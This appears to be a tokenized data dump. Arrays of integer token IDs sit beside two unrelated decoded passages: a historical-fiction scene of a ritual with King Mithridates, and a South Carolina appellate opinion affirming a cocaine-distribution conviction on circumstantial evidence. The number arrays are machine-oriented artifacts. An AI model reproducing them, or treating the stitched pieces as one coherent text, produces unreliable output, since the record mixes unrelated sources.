2918, 247, 5931, 7939, 281, 271, 6871, 23966, 1475, 253, 8370, 434, 7623, 1128, 1542, 253, 643, 637, 369, 954, 5604, 247, 8370, 984, 344, 369, 9398, 247, 281, 2485, 13, 285, 417, 816, 667, 281, 2485, 533, 581, 342, 247, 3862, 19445, 39832, 13, 26099, 521, 3708, 347, 247, 1964, 356, 20337, 14047, 281, 16610, 2137, 15, 831, 574, 281, 320, 253, 10848, 8370, 2087, 13, 46557, 316, 16823, 3750, 13, 285, 521, 43775, 369, 253, 10864, 1925, 35747, 25523, 15, 611, 656, 266, 6358, 574, 2183, 479, 841, 767, 1537, 320, 1246, 13, 253, 6963, 434, 48233, 4283, 253, 6963, 434, 7590, 8370, 327, 247, 458, 1225, 15, 37496, 562, 984, 273, 521, 281, 2485, 13, 369, 16823, 3750, 5486, 281, 6427, 253, 4116, 273, 253, 401, 6465, 285, 1067, 1066, 616, 38696, 327, 521, 7715, 30396, 32, 187, 187, 44, 656, 266, 6358, 6225, 1078, 387, 253, 5909, 275, 253, 1698, 8805, 3402, 15, 844, 13037, 1078, 779, 275, 247, 40296, 1426, 282, 15, 754, 9713, 441, 275, 521, 3676, 13, 36174, 4318, 15, 346, 1231, 452, 7244, 387, 253, 32431, 273, 253, 401, 6465, 15, 831, 8805, 3402, 10880, 253, 31245, 273, 253, 20075, 3509, 4291, 15, 25373, 323, 253, 45121, 11232, 12798, 285, 4589, 275, 619, 3564, 3255, 611, 656, 266, 6358, 2918, 731, 24922, 13, 594, 326, 253, 25254, 1289, 262, 3606, 275, 253, 30162, 3243, 15, 346, 33086, 323, 841, 13, 642, 10485, 273, 667, 3686, 476, 320, 4136, 4457, 436, 1127, 15, 1310, 368, 5730, 634, 2133, 36259, 281, 13920, 368, 13, 5402, 30913, 13, 597, 1364, 2242, 1066, 616, 6174, 449, 187, 187, 3, 2773, 588, 417, 5108, 13, 5402, 444, 1222, 566, 937, 753, 353, 334, 6992, 684, 15, 346, 6872, 1821, 1978, 616, 6174, 387, 512, 2069, 449, 187, 187, 3, 5872, 597, 1364, 3464, 3345, 253, 3402, 937, 753, 611, 656, 266, 6358, 15, 496, 521, 4318, 309, 3735, 642, 572, 11215, 273, 5545, 390, 39500, 13, 285, 2335, 2798, 15, 35284, 359, 9302, 13, 846, 512, 32, 187, 187, 3, 17534, 973, 937, 753, 253, 6963, 15, 346, 6872, 1821, 588, 3297, 1060, 15, 25373, 323, 35747, 25523, 15, 309, 971, 253, 8370, 4370, 281, 5517, 253, 17789, 13, 285, 3095, 556, 281, 2186, 521, 458, 1225, 15, 31910, 1066, 634, 8914, 13, 35747, 25523, 449, 187, 187, 510, 10864, 1160, 247, 650, 24886, 6046, 13, 533, 30017, 850, 314, 440, 24507, 1070, 253, 14228, 285, 703, 4349, 432, 521, 13779, 285, 5176, 2067, 643, 1355, 36014, 285, 787, 15414, 790, 432, 521, 1436, 15, 187, 187, 3, 10795, 667, 643, 637, 1060, 452, 247, 10485, 865, 2546, 611, 656, 266, 6358, 15, 346, 2042, 368, 5730, 281, 4901, 253, 7753, 306, 13, 368, 1364, 2242, 352, 1066, 1024, 15, 6101, 10485, 1246, 1309, 253, 17651, 310, 2779, 281, 46554, 253, 22324, 273, 1110, 359, 403, 1060, 281, 21927, 366, 449, 611, 656, 266, 6358, 3261, 387, 353, 334, 6992, 684, 347, 344, 753, 841, 3000, 15, 4952, 275, 38783, 952, 3260, 253, 2926, 273, 253, 27715, 15096, 326, 353, 334, 6992, 684, 574, 908, 281, 5159, 271, 5061, 316, 808, 272, 16136, 275, 2120, 1859, 273, 1097, 616, 29894, 13, 14252, 352, 562, 273, 247, 17197, 1659, 1735, 281, 521, 730, 32421, 846, 1097, 1821, 574, 4180, 264, 281, 320, 557, 21201, 15, 187, 187, 44, 656, 266, 6358, 4821, 281, 25885, 387, 253, 6963, 15, 353, 334, 6992, 684, 37432, 896, 809, 74, 5954, 13, 533, 4720, 4925, 715, 521, 14234, 285, 7320, 562, 247, 45766, 15, 380, 9711, 6016, 1289, 262, 3606, 342, 49436, 15, 754, 14048, 352, 281, 253, 13595, 273, 521, 2133, 36259, 15, 187, 187, 510, 637, 2335, 253, 45766, 46572, 15, 346, 7093, 30913, 943, 417, 564, 440, 21201, 715, 247, 1659, 835, 521, 2133, 36259, 2550, 956, 449, 187, 187, 3, 1989, 604, 1046, 643, 637, 1246, 310, 440, 21201, 13, 627, 588, 320, 642, 5434, 937, 753, 353, 334, 6992, 684, 15, 3032, 2927, 22007, 2439, 253, 40296, 1426, 282, 273, 30418, 13, 285, 323, 271, 8164, 344, 3261, 4951, 387, 479, 15, 8035, 10480, 282, 273, 17052, 4307, 697, 1039, 1066, 619, 17201, 15, 187, 187, 510, 6963, 434, 15944, 6524, 2210, 281, 4200, 553, 15, 1583, 11373, 387, 1016, 643, 13, 347, 604, 387, 690, 3055, 16391, 13, 285, 840, 4200, 553, 4925, 715, 253, 34579, 273, 2806, 23048, 285, 7320, 562, 617, 1211, 320, 75, 999 ]	hum tunelessly. "They wouldn't let me bring my flute," he said morosely. Damianus began to shift nervously in his seat. Unable to hear and with only darkness around him, it was no wonder he began to feel unsettled. I realized that I was shifting about uneasily, too, and grinding my teeth. The journey seemed to last a long time. At last we came to a halt. I felt the litter settle onto blocks. The curtains were drawn back. A figure holding aloft a torch silently beckoned for us to step out. The light of the flames revealed the face of Zeuxidemus, though he was dressed not in yellow but in a dark tunic not unlike the one I was wearing. So were all the men around him. Among them I recognized some of the Megabyzoi and Magi who had examined me naked, including the Grand Magus and Kysanias. Their clothing was so dark that it was hard to tell one from another, but that was intentional. A man does not approach the Furies dressed in such a way as to call attention to himself. Leaving the litter-bearers behind, and led by a few among us bearing torches, we walked a short distance, stopping at a low wall made of rough-hewn stones. There was a break in this wall, beyond which a gravel path led to a circle of towering cypress trees. In the darkness, it was hard to judge the diameter of this circle. The tall, slender trees stood so close together that they formed a sort of wall. Whatever might be inside that circle of trees could not be seen. The night was very still. There was no sound except that of footsteps and the crackling of torches. A company of spear-bearers approached; these were the king's private bodyguards, clad in armor and helmets that gleamed in the torchlight. They escorted a small group dressed in the same dark tunics as the Magi and Megabyzoi. Among the approaching faces illuminated by the flickering light I saw those of Antipater and Rutilius. At the head of this company was a man who would have stood out even if he had not been wearing a fillet of purple and white on his head. Mithridates stood taller than even the tallest of his bodyguards, and his black tunic did not conceal the breadth of his shoulders and the brawniness of his arms and legs. Though the night was warm, he wore a cloak as well, just as Kysanias had predicted, saying the king always wore it for important occasions—the purple cloak of Alexander the Great, taken from the Egyptian treasury at Cos. The gold embroidery on the cloak caught the light, further setting him apart from the rest of us. The king's face was clean-shaven, showing his powerful jaw. Torchlight picked out strands of silver amid the long hair combed back from his face. His strong features were those of a man who looks his best in middle age. His mouth was grim but his eyes glittered with confidence. The only other monarch I had ever seen so close at hand was the recently deposed King Ptolemy, back in Egypt. Two men could not have been more dissimilar. If King Ptolemy was the fattest man I'd ever seen, Mithridates was one of the fittest, and certainly the most formidable. Seeing him in the flesh, I despaired for his enemies, including Rome. I despaired for myself, as well, for this was the man we were conspiring to deceive. Even at a glance, I saw that Mithridates was no man's fool. What had we been thinking? I remembered the scoffing noises Bethesda had made as I described our scheme. I felt light-headed. A trickle of sweat snaked its way down my spine. Next to the king, so much smaller that she seemed almost a child, was the queen. Monime was swathed in black silk. Her body merged into the darkness, so that her red-gold hair and pale round face seemed almost to levitate, as if attached to nothing beneath. I glanced at the others in the king's company. Besides Antipater and Rutilius, I recognized the young Prince Ptolemy, who stood near Monime. The golden cobra of his uraeus crown, with its ruby eyes, glittered in the light. Why was he being included in the ritual? Did the king think of the kidnapped prince as part of his household? Or, since he wore a crown, was Ptolemy present as a royal representative of Egypt, despite his father's fall from the throne? There was also a man I took to be Metrodorus of Scepsis, the so-called Rome-Hater, one of the king's closest advisors. Kysanias had described the man and told me a little about him the previous night, saying Metrodorus would be the observer around whom we must be most careful, because of his famous ability to remember every detail of everything he saw and heard. Metrodorus had perfected his memory with a method of his own invention, based somehow on the divisions of the zodiac. I wished I could have met him under other circumstances. My father had taught me some simple tricks of memorization, but what might Metrodorus be able to teach me? Also near the front of the company was a man I assumed to be Monime's father, Philopoemen. As Episcopus of Ephesus, he carried a staff with a gold knob at the top to show his authority as a royal overseer. I looked at him only for an instant, because I suddenly saw two men farther back in the group, hidden in the shadows until that moment. The two men stood out for very different reasons, one on account of his size—he was even taller than the king, indeed quite possibly the largest man I had ever seen—and the other because, unlike everyone else, he was dressed in white. The giant had a gaunt, grim face and yellow hair, and held a chain linked to an iron collar around the Roman's neck—for the other man was most certainly a Roman because he was wearing a toga, and not just any toga but one with a broad purple stripe, marking his status as a promagistrate authorized to wage war. This had to be the captured Roman general, Quintus Oppius, and his keeper was the giant called Bastarna. Kysanias had told me these two might be present, the king's bully leading the king's pet Roman on a leash. Standing out because of his toga, was Oppius meant to attract the attention of the Furies and call down their wrath on his fellow Romans? Kysanias stood before at the opening in the low stone wall. We gathered before him in a semicircle. He addressed us in his deep, commanding voice. "We have arrived at the Grove of the Furies. This stone wall marks the perimeter of the sacred precinct. Except for the sacrificial knife and ax in my hands..." Kysanias held them upright, so that the blades glittered in the torchlight. "Except for these, no weapon of any sort can be allowed beyond this point. If you wish your bodyguards to accompany you, Your Majesty, they must lay down their arms." "That will not happen, Your Eminence," said Mithridates. "These men keep their arms at all times." "Then they must remain outside the wall," said Kysanias. In his voice I heard no quaver of doubt or hesitation, and took heart. Might we succeed, after all? "Very well," said the king. "These men will stay here. Except for Bastarna. I want the Roman dog to witness the sacrifice, and someone has to hold his leash. Lay down your weapons, Bastarna." The giant made a grumbling noise, but obediently unbuckled the sword and sheathe from his belt and removed several other small knives and bludgeons from his person. "Does any other man here have a weapon?" asked Kysanias. "If you wish to enter the grove, you must lay it down now. Any weapon present during the ritual is likely to provoke the rage of those we are here to placate." Kysanias looked at Mithridates as he said these words. Even in Alexandria people knew the story of the concealed blade that Mithridates had used to kill an unsuspecting rival in full view of both their armies, pulling it out of a hiding place next to his genitals after both men had professed to be disarmed. Kysanias continued to stare at the king. Mithridates gazed back defiantly, but finally reached into his clothing and pulled out a dagger. The silver handle glittered with jewels. He handed it to the captain of his bodyguards. The man took the dagger reluctantly. "Your Majesty should not go unarmed into a place where his bodyguards cannot follow." "But if every other man present is unarmed, there will be no danger," said Mithridates. His eyes swept across the semicircle of listeners, and for an instant he looked straight at me. Another trickle of sweat worked its way down my spine. The king's gaze eventually came to Monime. They smiled at each other, as if at some private joke, and then Monime reached into the folds of black silk and pulled out her own bejew
[ 721, 1731, 313, 12487, 5029, 11706, 643, 2219, 5224, 690, 13812, 875, 1480, 1941, 285, 45026, 1941, 275, 7296, 1880, 247, 6828, 11844, 943, 320, 7169, 15, 2418, 362, 15, 36105, 13, 33624, 322, 15, 36, 15, 23917, 13, 26972, 13, 39603, 322, 15, 38, 15, 19, 69, 854, 1857, 13, 854, 3357, 313, 5229, 15, 2946, 15, 9595, 10, 5550, 2042, 627, 310, 667, 1480, 1941, 390, 667, 6832, 45026, 1941, 534, 12054, 14280, 281, 5276, 253, 15457, 273, 253, 10145, 390, 432, 534, 15457, 778, 320, 9648, 285, 40452, 36183, 13, 271, 16939, 1302, 1364, 1089, 253, 1083, 369, 6283, 9262, 281, 253, 4984, 449, 313, 18532, 2879, 1228, 313, 18799, 2418, 362, 15, 7902, 13, 36027, 322, 15, 36, 15, 10523, 13, 23414, 322, 15, 38, 15, 19, 69, 818, 2222, 313, 9595, 5029, 1310, 253, 2332, 1302, 1364, 1056, 247, 7441, 326, 253, 45026, 1941, 310, 6832, 13, 326, 651, 1646, 281, 2430, 247, 27466, 273, 253, 1941, 534, 13, 273, 2282, 13, 512, 2219, 5194, 13, 310, 25415, 15, 187, 39899, 13, 253, 2332, 5963, 943, 4098, 247, 6828, 11844, 3200, 672, 253, 1941, 7960, 16540, 247, 18910, 326, 253, 10145, 310, 8106, 15, 8698, 13, 28528, 322, 15, 36, 15, 387, 46968, 13, 44504, 322, 15, 38, 15, 19, 69, 387, 48354, 313, 18799, 2418, 362, 15, 7854, 8498, 13, 22540, 322, 15, 36, 15, 45610, 13, 30188, 322, 15, 38, 15, 19, 69, 23627, 313, 19791, 5029, 733, 310, 9696, 2590, 13, 2299, 13, 326, 327, 4549, 432, 253, 13336, 273, 247, 3200, 323, 6828, 11844, 13, 436, 1302, 1364, 1859, 253, 1941, 275, 253, 1708, 954, 13857, 281, 253, 2418, 15, 7634, 69, 5464, 13, 32575, 322, 15, 36, 15, 387, 7904, 13, 39748, 322, 15, 38, 15, 19, 69, 387, 46916, 15, 187, 510, 2418, 9262, 6206, 326, 37738, 434, 5263, 5866, 275, 247, 1029, 6617, 2170, 1929, 323, 7217, 285, 2854, 2425, 15, 37738, 574, 247, 1355, 7351, 4508, 5512, 4314, 16419, 273, 9370, 16394, 327, 521, 1436, 15, 754, 574, 642, 9370, 12881, 390, 643, 2854, 38594, 379, 2110, 571, 342, 779, 7809, 253, 9370, 16394, 369, 323, 521, 3367, 8353, 15, 754, 858, 13, 2299, 13, 452, 370, 23625, 7942, 327, 521, 1436, 275, 6571, 6818, 14838, 14874, 15, 12743, 19838, 7859, 247, 2014, 5561, 273, 9370, 16394, 310, 475, 23360, 5431, 4211, 323, 6818, 8918, 15, 9182, 272, 436, 1941, 275, 253, 1708, 954, 13857, 281, 253, 2418, 13, 347, 359, 1364, 13, 285, 1293, 8136, 327, 253, 2801, 273, 253, 1941, 13, 253, 5019, 273, 841, 2616, 12647, 1941, 534, 651, 12054, 5257, 281, 5276, 37738, 6034, 281, 16969, 253, 9370, 16394, 285, 13, 3021, 13, 816, 7790, 253, 2332, 1302, 434, 3061, 281, 11929, 253, 1083, 281, 253, 4984, 323, 697, 7441, 4681, 18, 62, 187, 187, 27610, 360, 22430, 19594, 41959, 187, 10457, 697, 4984, 4179, 13, 253, 2332, 1302, 6808, 253, 45026, 1941, 9775, 4102, 7012, 285, 8521, 407, 776, 24555, 1302, 275, 2418, 362, 15, 443, 21743, 251, 13, 31133, 322, 15, 36, 15, 11275, 13, 40625, 322, 15, 38, 15, 19, 69, 41517, 313, 12430, 481, 2732, 253, 4984, 369, 6636, 13, 5684, 5067, 9521, 253, 1302, 2523, 6798, 8024, 8498, 434, 4179, 327, 253, 3064, 875, 1480, 285, 45026, 1941, 15, 6270, 500, 15, 8024, 8498, 13, 8024, 8498, 434, 3684, 9756, 19107, 84, 281, 42770, 14, 36, 31729, 3015, 495, 14, 21, 313, 13034, 481, 380, 1302, 9284, 281, 294, 14, 7778, 253, 4984, 347, 9521, 15, 187, 1231, 3877, 326, 6798, 8024, 8498, 434, 1566, 4179, 327, 45026, 1941, 310, 2074, 281, 253, 5899, 3448, 776, 24555, 1302, 7012, 275, 2418, 362, 15, 24006, 13, 31399, 322, 15, 36, 15, 32513, 13, 36351, 322, 15, 38, 15, 19, 69, 48761, 313, 14643, 481, 380, 5899, 4179, 44587, 875, 1480, 285, 45026, 1941, 13, 5727, 253, 747, 4179, 8671, 275, 443, 21743, 251, 5742, 3054, 627, 310, 642, 4320, 13812, 875, 253, 767, 3510, 273, 1941, 15, 29036, 24006, 13, 31399, 322, 15, 36, 15, 387, 25255, 13, 36351, 322, 15, 38, 15, 19, 69, 387, 854, 2511, 5550, 65, 60, 38, 62, 635, 26741, 15494, 2220, 407, 253, 2418, 544, 18265, 62, 320, 11464, 4457, 247, 5272, 5545, 28, 285, 3346, 512, 273, 253, 5989, 594, 11464, 320, 5185, 342, 1016, 643, 285, 2668, 2366, 13, 1127, 345, 12817, 281, 253, 15457, 273, 253, 10145, 281, 253, 14978, 273, 1046, 643, 5272, 9079, 2464, 2807, 313, 17056, 2418, 362, 15, 11573, 34276, 13, 26249, 322, 15, 36, 15, 32479, 13, 33141, 13, 11289, 322, 15, 38, 15, 19, 69, 44888, 13, 898, 1731, 313, 38460, 9679, 342, 443, 21743, 251, 13, 31133, 322, 15, 36, 15, 387, 11439, 14, 2759, 13, 40625, 322, 15, 38, 15, 19, 69, 387, 41652, 5550, 510, 1569, 2789, 8839, 642, 13812, 875, 253, 2801, 390, 1318, 281, 320, 1677, 281, 2057, 1480, 390, 45026, 1941, 15, 7087, 310, 247, 3687, 4248, 273, 23140, 2424, 273, 45026, 1941, 475, 24117, 685, 273, 1480, 1941, 32755, 4129, 253, 24555, 1302, 4879, 275, 443, 21743, 251, 13, 31133, 322, 15, 36, 15, 387, 11487, 13, 40625, 322, 15, 38, 15, 19, 69, 387, 41368, 13, 285, 43269, 275, 2418, 362, 15, 3532, 5797, 13, 30057, 322, 15, 36, 15, 13900, 13, 16198, 295, 15, 2145, 13, 38820, 322, 15, 38, 15, 19, 69, 854, 3011, 13, 854, 2358, 295, 15, 2145, 313, 11496, 10, 285, 2418, 362, 15, 1997, 1911, 781, 13, 32670, 322, 15, 36, 15, 38162, 13, 37112, 13, 45297, 322, 15, 38, 15, 19, 69, 20048, 13, 21990, 313, 8971, 582, 326, 253, 5899, 24006, 4179, 310, 1335, 247, 17734, 3451, 285, 4569, 4984, 9775, 13, 359, 2550, 9331, 253, 2332, 1302, 323, 17617, 247, 4179, 4102, 5742, 7012, 407, 253, 24555, 1302, 15, 733, 9090, 310, 247, 3451, 3908, 273, 253, 1569, 273, 45026, 1941, 15, 346, 510, 5963, 6283, 9618, 84, 253, 4984, 604, 344, 18212, 3054, 253, 7763, 1569, 15, 329, 4984, 4179, 534, 310, 9619, 3451, 285, 10949, 253, 1569, 1057, 417, 2430, 21080, 449, 2418, 362, 15, 39054, 437, 13, 33251, 322, 15, 36, 15, 38609, 13, 33314, 13, 41029, 322, 15, 38, 15, 19, 69, 721, 2787, 13, 721, 3593, 313, 5229, 15, 2946, 15, 12487, 10, 313, 26977, 11035, 481, 844, 1089, 642, 2228, 15, 187, 187, 5707, 32200, 187, 1231, 7525, 253, 2332, 1302, 6283, 9262, 37738, 434, 4179, 281, 253, 4984, 285, 7730, 642, 2228, 275, 9618, 272, 253, 4984, 327, 253, 1569, 273, 45026, 1941, 15, 3308, 37738, 434, 9611, 323, 10023, 342, 6860, 281, 16969, 9370, 16394, 310, 187, 43029, 15, 187, 26809, 3269, 13, 500, 904, 15038, 84, 15, 187, 10993, 3271, 52, 15012, 13, 500, 904, 15038, 84, 275, 247, 4858, 4743, 15, 187, 5543, 37118, 13, 500, 904, 15038, 84, 285, 5408, 592, 275, 247, 4858, 4743, 15, 187, 46528, 10449, 13, 500, 904, 15038, 84, 285, 5408, 592, 275, 247, 4858, 4743, 275, 534, 10197, 16652, 13, 330, 15, 43, 904, 285, 330, 10860, 18587, 13, 500, 904, 15038, 15, 187, 5648, 4641, 947, 13, 500, 904, 15038, 84, 285, 5408, 592, 275, 247, 4858, 4743, 15, 187, 5707, 38035, 13, 500, 904, 5408, 592, 285, 27022, 275, 253, 5408, 592, 273, 28281, 10449, 13, 500, 904, 285, 7840, 4641, 947, 13, 500, 15, 187, 10993, 3271, 52, 15012, 13, 500, 15, 313, 585, 1915, 804, 2262, 187, 42, 15038, 4751, 275, 6798, 659, 300, 4714, 434, 4743, 15, 187, 1276, 6798, 15197, 434, 4743, 651, 452, 441, 513, 310, 14357, 253, 1941, 13, 285, 436, 253, 1302, 273, 12527, 2550, 513, 275, 247, 6424, 1083, 667, 625, 685, 352, 476, 1056, 247, 346, 7083, 357, 2940, 475, 21340, 4951, 3, 390, 346, 34006, 253, 7227, 34635, 273, 253, 29809, 44855, 449, 23500, 2689, 6597, 13, 20000, 313, 1145, 251, 15, 3675, 2698, 313, 25569, 378, 15, 36, 11507, 387, 3944, 1358, 2700, 15, 20282, 15, 13808, 16, 20282, 4185, 16, 317, 4788, 982, 16, 15592, 16, 274, 382, 2689, 6597, 16, 38385, 28, 923, 2418, 362, 15, 19980, 13, 36076, 322, 15, 36, 15, 36477, 13, 43333, 322, 15, 38, 15, 19, 69, 17574, 313, 6914, 10, 313, 44101, 253, 2332, 1302, 310, 7514, 342, 253, 6242, 390, 44382, 11347, 273, 1941, 285, 417, 697, 2801, 1014, 672, 253, 14079, 15771, 14288, 327, 45026, 1941, 558, 2418, 362, 15, 7634, 69, 5464, 13, 32575, 322, 15, 36, 15, 5910, 13, 7904, 13, 39748, 322, 15, 38, 15, 19, 69, 38888, 13, 46916, 313, 9595, 10, 5550, 2374, 247, 3200, 323, 247, 6828, 11844, 275, 247, 6424, 1083, 13, 253, 2332, 1302, 310, 7514, 342, 253, 6242, 390, 1327, 14, 29419, 273, 1941, 13, 417, 697, 2801, 32755, 380, 1953, 273, 1880, 253, 9370, 16394, 1119, 327, 37738, 434, 1436, 369, 323, 521, 1211, 3367, 897, 390, 323, 3268, 281, 2571, 369, 11098, 314, 323, 253, 4984, 15, 187, 8430, 253, 2408, 273, 9370, 16394, 275, 436, 1083, 369, 417, 4209, 281, 4647, 253, 11315, 17032, 273, 6860, 281, 16969, 13, 627, 310, 642, 1953, 326, 253, 2418, 3559, 1480, 1941, 273, 10023, 15, 5488, 13, 275, 1262, 433, 2996, 253, 1941, 273, 37738, 434, 6860, 347, 45026, 2581, 685, 1480, 13, 6798, 15197, 434, 4743, 10224, 281, 9446, 326, 5749, 74, 62, 2649, 290, 310, 28277, 16931, 281, 4737, 407, 1480, 1941, 285, 1364, 36165, 320, 11464, 407, 45026, 1941, 13, 326, 310, 13, 407, 5441, 285, 5989, 432, 534, 6860, 778, 320, 22245, 449, 2418, 362, 15, 40915, 76, 1255, 13, 30092, 322, 15, 36, 15, 28195, 13, 29949, 13, 23512, 322, 15, 38, 15, 19, 69, 47555, 13, 48874, 313, 25197, 558, 923, 671, 3285, 34, 3052, 15, 49864, 15, 19, 69, 19594, 3015, 1638, 2090, 387, 854, 2537, 14, 1235, 313, 13034, 10, 5550, 27610, 360, 22430, 1941, 3815, 310, 2223, 4209, 281, 921, 6424, 6860, 984, 253, 3284, 273, 6860, 13, 1146, 247, 1375, 273, 2564, 390, 6255, 4096, 13, 310, 3798, 31257, 273, 1480, 4737, 32755, 187, 1276, 4245, 479, 3081, 4468, 310, 253, 1921, 6798, 15197, 45589, 253, 1941, 273, 37738, 434, 6860, 347, 346, 1439, 6832, 449, 496, 29999, 436, 1941, 984, 352, 812, 452, 4516, 253, 17032, 326, 37738, 6034, 281, 897, 2581, 685, 16969, 253, 9370, 16394, 275, 521, 10023, 13, 344, 4620, 281, 956, 253, 26777, 275, 2418, 362, 15, 3083, 261, 13, 25901, 322, 15, 36, 15, 8688, 13, 8319, 322, 15, 38, 15, 19, 69, 32002, 313, 40853, 582, 326, 672, 253, 14079, 9437, 281, 5276, 15457, 407, 45026, 1941, 13, 271, 49207, 310, 26085, 5734, 253, 5989, 346, 3659, 345, 12817, 12555, 3529, 310, 13, 281, 247, 9447, 23140, 12555, 936, 253, 15457, 273, 253, 10145, 28, 3346, 285, 597, 1364, 2007, 320, 8839, 16706, 342, 667, 643, 5272, 9079, 685, 253, 15457, 273, 253, 10145, 449, 4031, 15, 387, 8437, 13, 8319, 322, 15, 38, 15, 19, 69, 387, 36696, 313, 34212, 11035, 481, 380, 24555, 1302, 13, 2299, 475, 24208, 556, 1580, 34310, 3083, 261, 285, 697, 40573, 327, 436, 1077, 2523, 15, 2418, 362, 15, 24006, 13, 31399, 322, 15, 36, 15, 32513, 13, 36351, 322, 15, 38, 15, 19, 69, 48761, 13, 5306, 13, 5868, 13, 43476, 530, 15, 52, 15, 854, 2222, 13, 9199, 322, 15, 5229, 15, 30439, 13, 14034, 418, 15, 3996, 15, 19, 69, 26484, 313, 14643, 481, 187, 5543, 37118, 13, 500, 15, 313, 585, 1915, 804, 285, 34308, 2262, 187, 26190, 3332, 1107, 13, 253, 4086, 273, 45026, 1941, 275, 253, 6424, 2332, 18767, 556, 32338, 625, 1162, 1105, 1975, 6128, 407, 36760, 13, 42608, 13, 285, 16006, 685, 667, 643, 6424, 2332, 8063, 15, 187, 510, 954, 1846, 2228, 1119, 275, 253, 6239, 285, 1083, 1569, 310, 253, 14955, 281, 20843, 45026, 1941, 432, 697, 4981, 14621, 4809, 275, 2743, 281, 253, 2332, 4984, 313, 74, 15, 70, 904, 958, 1089, 398, 10, 715, 271, 11073, 12124, 1783, 407, 4320, 12981, 15, 187, 688, 253, 6424, 2332, 23192, 13, 253, 346, 36752, 22430, 1941, 3, 8063, 47806, 522, 4863, 253, 2332, 5963, 285, 4984, 275, 3806, 281, 616, 12803, 285, 1159, 15, 32312, 13, 247, 492, 338, 321, 68, 456, 2278, 1364, 320, 20023, 27, 187, 9, 18, 10, 1737, 310 ]	626 (1996)). Still other cases indicate some distinction between direct evidence and circumstantial evidence in considering whether a directed verdict should be granted. State v. Patterson, 337 S.C. 215, 232, 522 S.E.2d 845, 853 (Ct.App.1999) ("If there is any direct evidence or any substantial circumstantial evidence which reasonably tends to prove the guilt of the accused or from which guilt may be fairly and logically deduced, an appellate court must find the case was properly submitted to the jury." (emphasis added)) (citing State v. Johnson, 334 S.C. 78, 512 S.E.2d 795 (1999)). If the trial court must make a determination that the circumstantial evidence is substantial, that would seem to require a weighing of the evidence which, of course, all cases agree, is forbidden. Clearly, the trial judge should grant a directed verdict motion when the evidence merely raises a suspicion that the accused is guilty. Martin, 340 S.C. at 602, 533 S.E.2d at 574 (citing State v. Irvin, 270 S.C. 539, 243 S.E.2d 195 (1978)). It is equally clear, however, that on appeal from the denial of a motion for directed verdict, this court must view the evidence in the light most favorable to the State. Burdette, 335 S.C. at 46, 515 S.E.2d at 531. The State submitted testimony that Cherry's arrest occurred in a high crime area known for violence and drug activity. Cherry had a small bag containing approximately eight rocks of crack cocaine on his person. He had no crack pipe or other drug paraphernalia with him indicating the crack cocaine was for his personal consumption. He did, however, have $322 cash on his person in mostly twenty dollar bills. Officer Parker testified a single rock of crack cocaine is 286 typically sold for twenty dollars. Viewing this evidence in the light most favorable to the State, as we must, and without passing on the weight of the evidence, the combination of these factors constitute evidence which would reasonably tend to prove Cherry intended to distribute the crack cocaine and, thus, justifies the trial court's decision to submit the case to the jury for its determination.[1] Circumstantial Evidence Instruction During its jury charge, the trial court issued the circumstantial evidence instruction recently approved and recommended by our supreme court in State v. Grippon, 327 S.C. 79, 489 S.E.2d 462 (1997). After the jury was charged, defense counsel requested the court issue Judge Ervin's charge on the difference between direct and circumstantial evidence. Tom J. Ervin, Ervin's South Carolina Requests to Charge-Criminal § 3-4 (1994). The court refused to re-charge the jury as requested. We note that Judge Ervin's model charge on circumstantial evidence is similar to the traditional language our supreme court approved in State v. Edwards, 298 S.C. 272, 379 S.E.2d 888 (1989). The traditional charge distinguishes between direct and circumstantial evidence, whereas the new charge adopted in Grippon specifically states there is no legal distinction between the two types of evidence. Compare Edwards, 298 S.C. at 275, 379 S.E.2d at 889 ("`[E]very circumstance relied upon by the State [must] be proven beyond a reasonable doubt; and... all of the circumstances so proven be consistent with each other and taken together, point conclusively to the guilt of the accused to the exclusion of every other reasonable hypothesis.'") (quoting State v. Littlejohn, 228 S.C. 324, 328, 89 S.E.2d 924, 926 (1955)), with Grippon, 327 S.C. at 83-84, 489 S.E.2d at 464 ("The law makes absolutely no distinction between the weight or value to be given to either direct or circumstantial evidence. Nor is a greater degree of certainty required of circumstantial evidence 287 than of direct evidence."). Although the supreme court noted in Grippon, 327 S.C. at 82, 489 S.E.2d at 463, and reiterated in State v. Needs, 333 S.C. 134,156 n. 13, 508 S.E.2d 857, 868 n. 13 (1998) and State v. Graddick, 345 S.C. 383, 388, 548 S.E.2d 210, 212 (2001), that the traditional Edwards charge is still a legally correct and appropriate jury instruction, we cannot fault the trial court for utilizing a charge recently specifically approved by the supreme court. It obviously is a correct statement of the law of circumstantial evidence. "The judge properly instructs the jury if he adequately states the applicable law. A jury charge which is substantially correct and covers the law does not require reversal." State v. Ezell, 321 S.C. 421, 425, 468 S.E.2d 679, 681 (Ct.App.1996) (citation omitted). We find no error. CONCLUSION We conclude the trial court properly submitted Cherry's charge to the jury and committed no error in instructing the jury on the law of circumstantial evidence. Thus Cherry's conviction for possession with intent to distribute crack cocaine is AFFIRMED. HUFF, J., concurs. GOOLSBY, J., concurs in a separate opinion. ANDERSON, J., concurs and dissents in a separate opinion. HOWARD, J., concurs and dissents in a separate opinion in which HEARN, C.J., and CURETON, J., concur. SHULER, J., concurs and dissents in a separate opinion. CONNOR, J., dissents and joins in the dissents of HOWARD, J., and SHULER, J. GOOLSBY, J. (concurring): I concur fully in Judge Stilwell's opinion. What Judge Howard's opinion would have us do is weigh the evidence, and this the court of appeals cannot do in a criminal case any more than it can make a "crab walk 288 straight" or "smooth the rough spikes of the hedgehog." Aristophanes, Peace (Anon.trans.) (420 B.C.), at http://www.vt.edu/vt98/academics/books/aristophanes/peace; see State v. Mitchell, 341 S.C. 406, 535 S.E.2d 126 (2000) (stating the trial court is concerned with the existence or nonexistence of evidence and not its weight even when the prosecution relies exclusively on circumstantial evidence); State v. Burdette, 335 S.C. 34, 46, 515 S.E.2d 525, 531 (1999) ("On a motion for a directed verdict in a criminal case, the trial court is concerned with the existence or non-existence of evidence, not its weight."). The question of whether the crack cocaine found on Cherry's person was for his own personal use or for distribution to others was singularly for the jury. Although the amount of crack cocaine in this case was not sufficient to apply the statutory inference of intent to distribute, there is no question that the State presented direct evidence of possession. Furthermore, in discrediting the evidence of Cherry's intent as circumstantial rather than direct, Judge Howard's opinion fails to recognize that "[i]ntent is seldom susceptible to proof by direct evidence and must ordinarily be proven by circumstantial evidence, that is, by facts and circumstances from which intent may be inferred." State v. Tuekness, 257 S.C. 295, 299, 185 S.E.2d 607, 608 (1971); see also 29A Am.Jur.2d Evidence § 1469 at 849-50 (1994) ("Circumstantial evidence alone is often sufficient to show criminal intent because the element of intent, being a state of mind or mental purpose, is usually incapable of direct proof."). What 